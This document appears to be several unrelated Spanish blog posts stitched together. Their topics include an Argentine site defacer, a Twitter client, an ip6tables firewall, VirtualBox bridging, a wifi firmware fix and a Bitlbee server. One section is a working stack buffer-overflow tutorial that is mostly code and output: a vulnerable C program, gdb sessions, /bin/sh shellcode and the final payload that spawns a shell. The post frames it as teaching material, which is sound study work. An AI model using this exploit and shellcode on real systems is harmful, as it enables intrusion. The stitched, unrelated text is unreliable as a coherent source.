Ademas, accediò a varios sitios como a los de Abasto, Jumbo, Easy, tarjeta más, páginas en chile e hizo una “protesta” en la de las
Islas Malvinas. http://www.faltaenvido.org/wp-content/uploads/2010/07/falkland.jpg

En su sitio se auto-presenta:
“Uso la computadora desde los 10 años, empecé a programar cuando tenia 12 y me conseguí una distribución de Linux. ( En esa época no existía instalador y había que especificar hasta la cantidad de cilindros en el rígido ).

Mi interés por la seguridad informática surge con el acceso a las BBS y sus foros, antes de internet por teléfono. Empecé crackeando juegos y después la curiosidad hizo el resto.

Hoy en dia me encuentro bastante decepcionado por la poca bola que se le da en Argentina a la seguridad informática, empresas con bases de datos con inyecciones tan repetidas que se vuelven monotonas, accesos a paneles con contraseñas triviales, desarrollos de sistemas con códigos que parecen escritos por un programador arriba de una calesita! Renombrados representantes de empresas de seguridad que terminan demostrando que mas que especialistas en la materia son especialistas en marketing!

En fin, es mi interes que se empieze a tomar en serio el manejo de datos sensibles y como dice el dicho, el que se quema con leche ve una vaca y llora. Este sitio esta lleno de leche.”

Le escribí un correo preguntándole si podía contarme un poco como había llegado a todo esto y me comentó: “A la mayoria les avisé, pero nadie me prestó atención”.

También me contó que la página es muy nueva ya que la anterior se la dió de baja la empresa de hosting, y que la tiene para que la gente se dé cuenta de que Argentina no tiene politicas de seguridad.

Características

Desde Twittero puedes hacer casi lo mismo que desde la propia web de Twitter: actualizar tu estado de Twitter, enviar mensajes directos, leer los mensajes directos que has recivido, seguir a alguien, dejar de seguir a alguien, ver a quienes sigues, ver quienes te siguen a tí, ver a quien sigue un amigo, ver los replies hacia ti, y más.

El proyecto

El lenguaje de programación elegido para el desarollo fue Python 2.6, y me base en la implementación de la API de Twitter Python-Twitter.
La elección de Python para este proyecto fue ideal, ya que pude llevar adelante un proyecto de una manéra muy rápida, sencilla y consistente.

En este momento el estado del proyecto es en desarollo, falta terminar varias cosas, como es soporte completo para Unicode, capturar las excepciones de URLLib2, y algunas otras cosas más.
He creado una página para el proyecto en Google Code. Pueden acceder a la página del proyecto ingresando a la siguiente URL:

http://code.google.com/p/twittero-client/.

Alli mismo he incluido documentación (una guia de usuario en español), y también se puede acceder al código de fuente del mismo.

Dependencias

Twittero necesita satisfacer algunas dependencias para poder funcionar, ellas son:

• Python >= 2.6
• Python-Twitter

Obtener una copia del código de fuente

Para obtener el código de fuente es necesario tener instalado Mercurial, y hacer un clone de la siguiente manera:

hg clone https://twittero-client.googlecode.com/hg/ twittero-client

Esto generara un directorio llamado twittero-client con el código de fuente de la aplicación listo para ejecutar y usaar (recuerden que se trata de una versión de desarollo).
Una vez terminada la etapa de desarollo el Twittero, será publicado en distintos formatos (para Debian, ArchLinux, Gentoo, Slacware, FreeBSD y otros) para ser descargado e instalado directamente.

Links

• Twittero – GoogleCode.
• Documentación
• Python-Twitter
• Python

#!/bin/sh
# Personal Firewall v.0.1 para IPv6

export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin

ip6tables='/usr/sbin/ip6tables'

# Cargamos el modulo de IPv6
modprobe ipv6

# Limpiamos todas las reglas anteriores
$ip6tables -F
$ip6tables -X
$ip6tables -Z

# Poltiicas por defecto
$ip6tables -P INPUT DROP
$ip6tables -P FORWARD DROP
$ip6tables -P OUTPUT ACCEPT

# Permitimos todo para el loopback (::1)
$ip6tables -A INPUT  --s ::1 -j ACCEPT

# Aquellas conexiones con ESTABLISH, RELATED se permiten (TCP / UDP / ICMP)
$ip6tables -A INPUT -p tcp       -s 0/0 -d 2001:5c0:1000:b::4be5 -m state --state ESTABLISHED,RELATED -j ACCEPT
$ip6tables -A INPUT -p udp       -s 0/0 -d 2001:5c0:1000:b::4be5 -m state --state ESTABLISHED,RELATED -j ACCEPT
$ip6tables -A INPUT -p ipv6-icmp -s 0/0 -d 2001:5c0:1000:b::4be5 -m state --state ESTABLISHED,RELATED -j ACCEPT

# Permitimos la entrada de todo desde mi IP
$ip6tables -A INPUT --source 2001:5c0:1000:b::4be5 -j ACCEPT

# Permitimos el acceso a SSH (puerto 22 TCP) - HTTPD (puerto 80 TCP)
$ip6tables -A INPUT -p tcp -s 0/0 -d  2001:5c0:1000:b::4be5 --dport 80 --syn -j ACCEPT
$ip6tables -A INPUT -p tcp -s 0/0 -d  2001:5c0:1000:b::4be5 --dport 22 --syn -j ACCEPT

# Logueamos todo el INPUT
$ip6tables -A INPUT -j LOG -m limit --limit 1/s --log-level 5 --log-prefix "IP6Tables Log: "

# Politicas de salida (normalización)
$ip6tables -A OUTPUT -p tcp -m state --state NEW ! --syn -j DROP
$ip6tables -A OUTPUT -p tcp -m state --state NEW         -j ACCEPT
$ip6tables -A OUTPUT -p udp -m state --state NEW         -j ACCEPT
$ip6tables -A OUTPUT -p ipv6-icmp -m state --state NEW   -j ACCEPT

Configurando la red en VirtualBox

Lo primero que debemos hacer es instalar la máquina Virtual de la manera normal a que lo hacemos siempre.
Solo que en la configuración de la máquina virtual, en la sección de los adaptadores de red, debemos especificarle que se conecte al bridge, que crearemos en el host.
Arrancaremos instalando brdige-utils, y uml_utilities:

#: pacman -S bridge-utils uml_utilites

Una vez instalados ambos, editamos el archivo /etc/conf.d/bridges y añadimos nuestro bridge:

bridge_br0="eth0 vbox0"
BRIDGE_INTERFACES=(br0)

Obviamente, hay que reemplazar eth0 por la interface de red que ustedes esten utilizando para realizar el bridge, en mi caso como se ve, es eth0.
Ahora debemos crear el archivo /etc/udev/rules.d/90-vboxdrv.rules, con el siguiente contenido:

KERNEL=="vboxdrv", NAME="vboxdrv", OWNER="root", GROUP="vboxusers", MODE="0660"

De igual forma editamos el archivo /etc/vbox/interfaces y agregamos lo siguiente:

vbox0 usuario br0

Donde reemplazan a usuario, por el nombre de usuario de ustedes.
Solo nos queda editar el archivo /etc/rc.conf donde añadimos para que se inicien los modulos brige, vboxdrv y vboxnetflt.

MODULES=( vboxdrv cboxnetflt bridge)

Dentro del mismo archivo, en la sección especificas de las interfaces de red, agregamos nuestro bridge (br0):

br0="br0 192.168.1.4 netmask 255.255.255.0 broadcast 192.168.1.255"
eth0="eth0 192.168.1.2 netmask 255.255.255.0 broadcast 192.168.1.255"

INTERFACES=(eth0 br0)

En este caso, mi placa de red en el host es eth0, a la que utiliza la dirección de IP 192.168.1.2, y al bridge le asigno la dirección de IP 192.168.1.4. Esta misma es la que debemos configurar dentro de la máquina virtual para poder acceder a ella.
Ahora solo nos resta crear el bridge de la siguiente manera:

#: brctl addbr br0

A esto mismo lo podemos añadir dentro del /etc/rc.local para que se cree cada vez que iniciamos el sistema.

VM corriendo en el background

No se si es el titulo mas adecuado para esta sección, pero es el unico que se me ocurre .
Para ejecutar la máquina virtual siempre use lo siguiente:

#: VBoxManage startvm Debian

Donde Debian, es el nombre de la máquina virtual que quiero ejecutar, esto me abria la ventanita de VirtualBox, y la VM ya estaba corriendo. Pero me parecia poco cómodo utilizar esta opción, mi idea era que corra algo asi como en el “background”, y poder acceder a ella utilizando SSH.
La solución fue muy simple, consistia en ejecutarla de la siguiente manera:

#: VBoxManage startvm Debian -type vrdp

Instalando Guest Additions

Bueno esto es extremadamente facil, al instalar Debian, necesitamos ademas instalar gcc, make, y los headers del kernel, utilizando por ejemplo apt-get.<
Para empezar iniciamos de forma convencional la VM, vamos a Dispositivos, y seleccionamos Instalar 'Guest Additions'.
Dentro de la VM, montamos la unicdad de CD-Rom y nos dirigimos al punto de montaje.
Alli ejecutamos:

#: sh VBoxLinuxAdditions-x86.run

O en caso de que utilizen 64 bits:

#: sh VBoxLinuxAdditions-amd64.run

Compilara un par de cositas, y listo. Todo instalado .

Mensaje Spurious NAK en Debian

Al empezar a utilizar la máquina virtual, la terminal (tty1) se veia inundada del siguiente mensaje (a igual que en dmesg):

atkbd.c : Spurious NAK on isa0060/serio0. Somme program might be trying access hardware directly

Para que este mensaje no aparezca, podemos hacerlo de dos formas, por una sysctl, o pasandole unos parametros al archivo /proc/sys/kernel/printk.

Primer método:

#: echo "4 4 7 1" > /proc/sys/kernel/printk

Segundo método:

#: sysctl kernel.printk="4 4 1 7"

También lo podriamos agregar al archivo /etc/sysctl.conf de la misma forma que lo acabamos de hacer.

Código de fuentes

#include <stdio.h>
#include <string.h>

fvuln(char *temp1, char *temp2)
{
   char name[512];
   strcpy(name, temp2);
   printf("Hello, %s %s\n", temp1, name);
}

int main(int argc, char *argv[])
{
   fvuln(argv[1],argv[2]);
   printf("Bye %s %s\n", argv[1], argv[2]);
   return 0;
}

Como vemos, existe la funcion fvuln, la cual crea un buffer de una logitud de 512 bytes, y utiliza la función altamente vulnerable strcpy. Sobre aqui trabajaremos.

La acción

Como primer punto debemos compilar este pequeño programa utilizando gcc (yo utilizo la versión 4.4.2 – el cual no utiliza cookies, ni nada de ello).

Bien ahora solo nos queda abrir GDB (o el debugger que mas les guste), y comenzar a trabajar (tengamos en cuenta que esto esta recontra hardcodeado). Y desensamblamos main y fvuln:

(gdb) disas main
Dump of assembler code for function main:
0x08048412 :   push   ebp
0x08048413 :   mov    ebp,esp
0x08048415 :   and    esp,0xfffffff0
0x08048418 :   sub    esp,0x10
0x0804841b :   mov    eax,DWORD PTR [ebp+0xc]
0x0804841e :   add    eax,0x8
0x08048421 :   mov    edx,DWORD PTR [eax]
0x08048423 :   mov    eax,DWORD PTR [ebp+0xc]
0x08048426 :   add    eax,0x4
0x08048429 :   mov    eax,DWORD PTR [eax]
0x0804842b :   mov    DWORD PTR [esp+0x4],edx
0x0804842f :   mov    DWORD PTR [esp],eax
0x08048432 :   call   0x80483d4 
0x08048437 :   mov    eax,DWORD PTR [ebp+0xc]
0x0804843a :   add    eax,0x8
0x0804843d :   mov    ecx,DWORD PTR [eax]
0x0804843f :   mov    eax,DWORD PTR [ebp+0xc]
0x08048442 :   add    eax,0x4
0x08048445 :   mov    edx,DWORD PTR [eax]
0x08048447 :   mov    eax,0x804853e
0x0804844c :   mov    DWORD PTR [esp+0x8],ecx
0x08048450 :   mov    DWORD PTR [esp+0x4],edx
0x08048454 :   mov    DWORD PTR [esp],eax
0x08048457 :   call   0x804830c

0x0804845c :   mov    eax,0x0
0x08048461 :   leave
0x08048462 :   ret
End of assembler dump.

(gdb) disas fvuln
Dump of assembler code for function fvuln:
0x080483d4 :  push   ebp
0x080483d5 :  mov    ebp,esp
0x080483d7 :  sub    esp,0x218
0x080483dd :  mov    eax,DWORD PTR [ebp+0xc]
0x080483e0 :  mov    DWORD PTR [esp+0x4],eax
0x080483e4 :  lea    eax,[ebp-0x208]
0x080483ea :  mov    DWORD PTR [esp],eax
0x080483ed :  call   0x80482fc 
0x080483f2 :  mov    eax,0x8048530
0x080483f7 :  lea    edx,[ebp-0x208]
0x080483fd :  mov    DWORD PTR [esp+0x8],edx
0x08048401 :  mov    edx,DWORD PTR [ebp+0x8]
0x08048404 :  mov    DWORD PTR [esp+0x4],edx
0x08048408 :  mov    DWORD PTR [esp],eax
0x0804840b :  call   0x804830c

0x08048410 :  leave
0x08048411 :  ret
End of assembler dump.
(gdb) 

Como vemos en 0x080483ed de fvuln hace un call la función strcpy, ya sabemos de que podemos vulnerarlo!.
Vamos a ejecutarlo, e intentaremos de ver que registros podemos escribir (para ahorrar tiempo les digo que a 520 caracteres el programa cae y pisa el registr que nos interesa EBP – Prueben lo que quieran, que EIP no es accesible directamente ).

(gdb) r `python -c 'print "\x41"*520+"\x42\x42\x42\x42"'`
Program received signal SIGSEGV, Segmentation fault.
0xb7ef72b0 in strcpy () from /lib/libc.so.6

(gdb) i r
eax            0xbfffea90       0xbfffea90
ecx            0xf78f118a       0xf78f118a
edx            0x0      0x0
ebx            0xb7fc5ff4       0xb7fc5ff4
esp            0xbfffea70       0xbfffea70
ebp            0x42424242       0x42424242
esi            0xbfffea8f       0xbfffea8f
edi            0x0      0x0
eip            0xb7ef72b0       0xb7ef72b0 
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     0x73
ss             0x7b     0x7b
ds             0x7b     0x7b
es             0x7b     0x7b
fs             0x0      0x0
gs             0x33     0x33

Como vemos directamente no podemos sobreescribir ningún registro!, a excepto de EBP.

Bien el Extended Base Pointer puede llevarnos a ganar nuestra preciada shell. Lo que sucede es que cuando se ingresa a una función (fvuln en este caso), el programa debe saber donde se encontraba anteriormente para poder continuar. Entonces ese valor se pushea al stack y se levanta como EIP al salir del mismo. Nosotros podemos pisar EBP, luego pushear al stack un EIP falso y asi lograr nuestro objetivo. Vamos a poner un breakpoint en 0x080483f2 y ejecutamos pasandole 520 “\x41″ como padding, “\x42\x42\x42\x42″ como EBP y “\xff\xff\xff\xff” como EIP falso.Veamos que sucede:

(gdb) break *0x080483f2
Breakpoint 1 at 0x80483f2
(gdb) r a `python -c 'print "\x41"*520+"\x42\x42\x42\x42"+"\xff\xff\xff\xff"'`
(gdb) s
Single stepping until exit from function fvuln,
which has no line number information.
Hello, e/tty0/Security/Insecure-Programming/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

Program received signal SIGSEGV, Segmentation fault.
0xffffffff:     Error while running hook_stop:
Cannot access memory at address 0xffffffff
0xffffffff in ?? ()
(gdb) i r
eax            0x243    0x243
ecx            0xbfffea58       0xbfffea58
edx            0xb7fc7320       0xb7fc7320
ebx            0xb7fc5ff4       0xb7fc5ff4
esp            0xbfffec90       0xbfffec90
ebp            0x42424242       0x42424242
esi            0x0      0x0
edi            0x0      0x0
eip            0xffffffff       0xffffffff
eflags         0x10292  [ AF SF IF RF ]
cs             0x73     0x73
ss             0x7b     0x7b
ds             0x7b     0x7b
es             0x7b     0x7b
fs             0x0      0x0
gs             0x33     0x33

Si prestan atención, habrán notado el siguiente mensaje: Cannot access memory at address 0xffffffff por lo cual quiere decir, que en algún momento el registro EIP tuvo el valor 0xffffffff que fue uno de los valores que le pasamos en el string que inyectamos. Bien!, eso era lo que buscabamos. Hagamos un backtrace para ver que es lo que hay:

(gdb) bt
#0  0xffffffff in ?? ()
#1  0xbfffef00 in ?? ()
#2  0xbfffef2d in ?? ()
#3  0x0804848b in __libc_csu_init ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

Era como pensabamos, el EIP en algún momento apunto a 0xffffffff. La cual es una posición de memoria inexistente y combinado con el overflow hiso crashear al programa.
Veamos la memoria, a ver si encontramos alguna otra cosa interesante:

(gdb) x/700h $esp
0xbfffef10:     0x6e49  0x6573  0x7563  0x6572  0x502d  0x6f72  0x7267  0x6d61
0xbfffef20:     0x696d  0x676e  0x612f  0x6f2e  0x7475  0x6100  0x4100  0x4141
0xbfffef30:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef40:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef50:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef60:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef70:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef80:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef90:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffefa0:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141

Aqui tenemos los 0x41 (“A” en hexadecimal), que hemos pasado como padding, podriamos reemplazar estos "\x41", por unos NOPs (0x90), y poner nuestra shellcode alli, para que EIP apunte a ella y nos regale una shell. La shellcode que voy a utilizar es para Linux x86, ejecuta /bin/sh y tiene una longitud de 24 bytes. Es la siguiente:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

Ahora que ya tenemos nuestra shellcode podemos seguir armando nuestro string. El formato que vamos a utilizar va a ser:

496 bytes de NOP + 24 bytes de Shellcode + EBP + EIP = 520 Bytes

Como vimos en el punto anterior los "\x41" comienzan a partir de la posicion 0xbfffef30. Entonces alli deberia apuntar nuestro EIP. Vamos a ejecutar y ver que sucede:

(gdb) r a `python -c 'print "\x90"*496+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" +"\x42\x42\x42\x42"+"\x30\xef\xff\xbf"'`
Hello, e/tty0/Security/Insecure-Programming/a.out ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ̀BBBB0���
Executing new program: /bin/bash
sh-4.0$ 

Y bien! hemos conseguido, la shell. La verdad esta técnica esta buena para todos aquellos casos en los cuales no podemos escribir EIP directamente, si utilizamos ASLR, podriamos bruteforcearlo metiendolo en un bucle while, hasta que en algún momento caiga donde esta nuestra shellcode. Esto va a depender del básico principio de entropia. Dependiendo de nuestra memoria virtual, entre otras cosas. Espero que les haya gustado.

Esta placa puede ser configurada utilizando el estándar IEEE 802.11b y también IEEE 802.11g (el más usado en nuestros días). La interface es USB 2.0, como la mayoria de los dispositivos actuales, y presente en casi cualquier computadora.
En cuanto a los modos soportados es posible configurarla como AD-HOC, Managed, como así también como AP (por software, obviamente). Fisicamente cuenta con una pequeña antena omnidireccional de 4dbi, que puede ser retirada y sustituida por una mas potente y tiene la posibilidad de ser utilizada con cifrado WEP, WPA/WPA2 y WPA-PSK/WPA2-PSK (TKIP/AES).

El problema y la solución

Una noche, inGNUcious, se olvido esta placa USB TP-Link en mi casa. Lo que provoco que al verla intente hacerla funcionar sobre el ArchLinux, que tengo instalado en mi laptop. El interés me surgio a raiz de querer comprarle a inGNUcious esta placa, Asi que eso hise, en una aburrida madrugada en la cual no tenia absolutamente nada para hacer. Calente el mate y conecte la placa a mi laptop, e intente levantarla:

#: iwconfig
wlan0     IEEE 802.11bg  ESSID:""
          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
          Tx-Power=0 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Bien, hasta aqui todo parece normal. Pero esto escondia un importante problema, al intentar scanear en busca de alguna red wireless, la misma no funcionaba, por lo cual, le di un vistazo a dmesg.

usb 2-2: new high speed USB device using ehci_hcd and address 3
usb 2-2: configuration #1 chosen from 1 choice
cfg80211: Using static regulatory domain info
cfg80211: Regulatory domain: US
usbcore: registered new interface driver zd1211rw
usb 2-2: firmware: requesting zd1211/zd1211b_ub
usb 2-2: Could not load firmware file zd1211/zd1211b_ub. Error number -2
zd1211rw 2-2:1.0: couldn't load firmware. Error number -2

Bien, el problema esta a la vista!. Al conectarse la placa, el modulo usado por la misma zd1211rw, intenta cargar un firmware llamado zd1211/zd1211b_ub. Me fije en el directorio /lib/firmware/ a ver si el mismo existia, pero naturalmente, no se encontraba.

Entonces busque en los repositorios, utilizando yaourt, esperando que se encuentre algún PKGBUILD para instalar el mismo y efectivamente se encontraba, y no en AUR, sino que en Core!. Asi que lo instalé.

#: yaourt -Ss zd1211
core/zd1211-firmware 1.4-2 - Firmware for the in-kernel26 zd1211rw wireless driver
#: yaourt -S zd1211-firmware

Bien, ahora al volver a conectar la placa USB, nos encontramos con el siguiente mensaje, al hacer dmesg:

usb 2-2: new high speed USB device using ehci_hcd and address 5
usb 2-2: configuration #1 chosen from 1 choice
usb 2-2: reset high speed USB device using ehci_hcd and address 5
phy2: Selected rate control algorithm 'minstrel'
zd1211rw 2-2:1.0: phy2

Por lo cual, el firmware a sido cargado correctamente y ya podemos disfrutar de esta placa TP-Link TL-WN422G en nuestro ArchLinux. Ahora solo nos queda levantarla, para comenzar a utilizarla.

#: ifconfig wlan0 up

Y listo, estamos en condiciones de conectarnos!. Cabe destacar, que al momento de escribir este post, me encuentro conectado utilizando esta flamante TP-Link .

Este ciclo de charlas, se encuentra organizado conjuntamente entre el departamento de Informática de la Universidad Nacional de San Luis, y San LuiX. El mismo compone la primera edición de lo que será un ciclo de charlas bimestrales con el fin de difundir el software libre como así también la cultura libre dentro de la ciudad de San Luis.
La entrada al evento es (y será) libre y gratuita.

Charlas:

• Open Hardware – Lic. Jorge Arroyuelo. – 60 min.
• Python y la red de redes – Marcelo O. Alaniz (aka Ingnucious). – 60 min.
• Kohana, ¿un framework mas? – Carlos Estilarte – 60 min.
• Buffer Overflow, for fun and pr0fit – Facundo M. de la Cruz (aka tty0) – 60 min.

Datos a agendar

Fecha: Miércoles 18 de Noviembre de 2009.
Hora: A paritr de las 15 horas.
Lugar: Universidad Nacional de San Luis – Bloque II – Sala 7. (San Luis, Argentina).
Entrada: Libre y gratuita.

El problema

Siempre me conecte a alguno de los servidores públicos de Bitlbee como es el caso de im.bitlbee.org o también testing.bitlbee.org, uno de los problemas que tiene utilizar estos servidores públicos es que se conecta a ellos utilizando el protocolo IRC, que como sabemos viaja en texto plano (legible para el ojo humano) hacia ese servidor público, por lo cual, cualquiera que levante un sniffer en cualquier punto de la ruta hasta el servidor podría leer el contenido de los paquetes que enviamos y perderiamos la privacidad de nuestra comunicación como asi también podria inyectar paquetes o modificarlos on the fly.
Hice una pequeña prueba en mi red local, a fin de ilustrar mejor lo que digo, haciendo un MITM (Man in the middle) y caputrando algunos paquetes con un filtro para conexiones IRC, este es el resultado:

0000  00 22 6b 5e 77 10 00 21  00 d8 d2 3a 08 00 45 00   ."k^w..! ...:..E.
0010  00 58 8f 3d 40 00 40 06  ef 96 c0 a8 01 64 4a d0   .X.=@.@. .....dJ.
0020  ae ef e3 66 1a 0b 53 b9  17 02 73 99 17 54 80 18   ...f..S. ..s..T..
0030  03 ea 4e 89 00 00 01 01  08 0a 00 eb 2a b7 46 67   ..N..... ....*.Fg
0040  21 6e 50 52 49 56 4d 53  47 20 23 53 61 6e 4c 75   !nPRIVMS G #SanLu
0050  69 58 20 3a 63 68 65 20  63 6f 6e 73 74 61 6e 74   iX :che  constant
0060  69 6e 65 20 0d 0a                                  ine ..           

Como vemos en este ejemplo se puede leer el texto "che constatine", de esta forma, estara legible todo texto que enviemos utilizando IRC, o cualquier otro servicio que envie ’sus cosas’ en texto plano, como HTTP, FTP, TELNET, etc.

La solución

Como no queria que mis mensajes viajen de esta forma atravèz de la Internet, y aprobechando que el protocolo libre Jabber soporta cifrado SSL como asi también PGP/GPG, decidi montar un servidor Bitlbee local en una PC de escritorio que utilizo con FreeBSD. De esta forma, aprobechaba las bondades del protocolo Jabber en ofrecerme cifrado y haciendo uso mas seguro del mismo.

Como primera medida, lo que hise fue instalar utilizando los ports el servidor Bitlbee:

#: cd /usr/local/ports/net/irc/bitlbee && make install clean

Vale destacar que el mismo port, soporta las siguientes opciones de configuración:

===> The following configuration options are available for bitlbee-1.2.4:
     DEBUG=Off (default) "Enable debug support"
     IPV6=On (default) "Enable IPv6 support"
     OPENSSL=Off (default) "Use OpenSSL rather than GnuTLS"
     MSN=On (default) "Enable MSN protocol support"
     JABBER=On (default) "Enable Jabber (XMPP) protocol support"
     OSCAR=On (default) "Enable OSCAR (ICQ, AIM) protocol support"
     YAHOO=On (default) "Enable Yahoo! protocol support"

Una vez que termino de compilar e instalar, me dirigi al archivo de configuración del mismo, que se encuentra en /usr/local/etc/bitlbee/bitlbee.conf. Agregue el usuario bitlbee al sistema, para que corra bajo un usuario con los minimos privilegios posibles y procedi a editarlo para dejarlo configurado acorde a mis necesidades. Entre algunas de las opciones destaco las siguientes:

## RunMode:
##
## Inetd -- Run from inetd (default)
## Daemon -- Run as a stand-alone daemon, serving all users from one process.
## This saves memory if there are more users, the downside is that when one
## user hits a crash-bug, all other users will also lose their connection.
## ForkDaemon -- Run as a stand-alone daemon, but keep all clients in separate
## child processes. This should be pretty safe and reliable to use instead
## of inetd mode.
##
RunMode = Daemon
## User:
##
## If BitlBee is started by root as a daemon, it can drop root privileges,
## and change to the specified user.
##
User = bitlbee
## DaemonPort/DaemonInterface:
##
## For daemon mode, you can specify on what interface and port the daemon
## should be listening for connections.
##
DaemonInterface = 10.10.10.2
DaemonPort = 6667
## AuthPassword
##
## Password the user should enter when logging into a closed BitlBee server.
## You can also have an MD5-encrypted password here. Format: "md5:", followed
## by a hash as generated for the attribute in a BitlBee
## XML file (for now there's no easier way to generate the hash).
##
# AuthPassword = ItllBeBitlBee ## Heh.. Our slogan.
## or
AuthPassword = md5:29d00d11345256s34466a6139f0370

Respecto al password para autenticarse soporta hashes md5, que si bien no es el algoritmo de hashing mas seguro, al menos nos proporciona una capa de seguridad.
Ahora solo queda iniciar el daemon, para comenzar a utilizar nuestro servidor bitlbee:

#: /usr/local/etc/rc.d/bitlbee start

Y listo , ya tenemos un servidor Bitlbee local en el cual configuraremos nuestras cuentas de mensajeria instantanéa aprobechando las bondades de utilizar protocolos como Jabber que al menos nos proveen una capa de encriptado.